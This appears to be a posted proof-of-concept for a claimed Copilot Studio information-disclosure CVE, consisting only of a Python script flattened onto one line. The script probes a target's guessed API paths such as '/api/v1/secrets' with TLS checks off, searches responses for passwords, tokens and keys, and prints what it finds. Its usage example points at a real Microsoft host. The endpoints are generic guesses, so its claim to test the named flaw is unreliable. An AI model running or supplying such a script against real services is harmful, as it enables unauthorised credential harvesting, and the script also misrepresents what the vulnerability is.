CVE-2026-21520 Copilot Studio敏感信息泄露漏洞

import requests import sys # CVE-2026-21520 PoC - Copilot Studio Sensitive Information Exposure # Target: Microsoft Copilot Studio # Vulnerability: Unauthorized access to sensitive information def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21520 """ # Common API endpoints that might expose sensitive information endpoints = [ '/api/v1/config', '/api/v1/internal', '/api/v1/users/data', '/api/v1/secrets', '/api/v1/settings' ] vulnerable = False leaked_data = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check for sensitive data in response if response.status_code == 200: content = response.text.lower() sensitive_keywords = ['password', 'secret', 'token', 'key', 'credential', 'apikey', 'internal'] if any(keyword in content for keyword in sensitive_keywords): vulnerable = True leaked_data.append({ 'endpoint': endpoint, 'status': response.status_code, 'data_preview': response.text[:500] }) except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable, leaked_data if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-21520-poc.py <target_url>") print("Example: python cve-2026-21520-poc.py https://copilot-studio.microsoft.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] Checking for CVE-2026-21520 vulnerability...\n") is_vulnerable, data = check_vulnerability(target) if is_vulnerable: print("[+] VULNERABLE - Sensitive information exposure detected!") for item in data: print(f"\n[+] Leaked data found at: {item['endpoint']}") print(f"Status: {item['status']}") print(f"Preview: {item['data_preview']}") else: print("[-] Target appears to be patched or not vulnerable")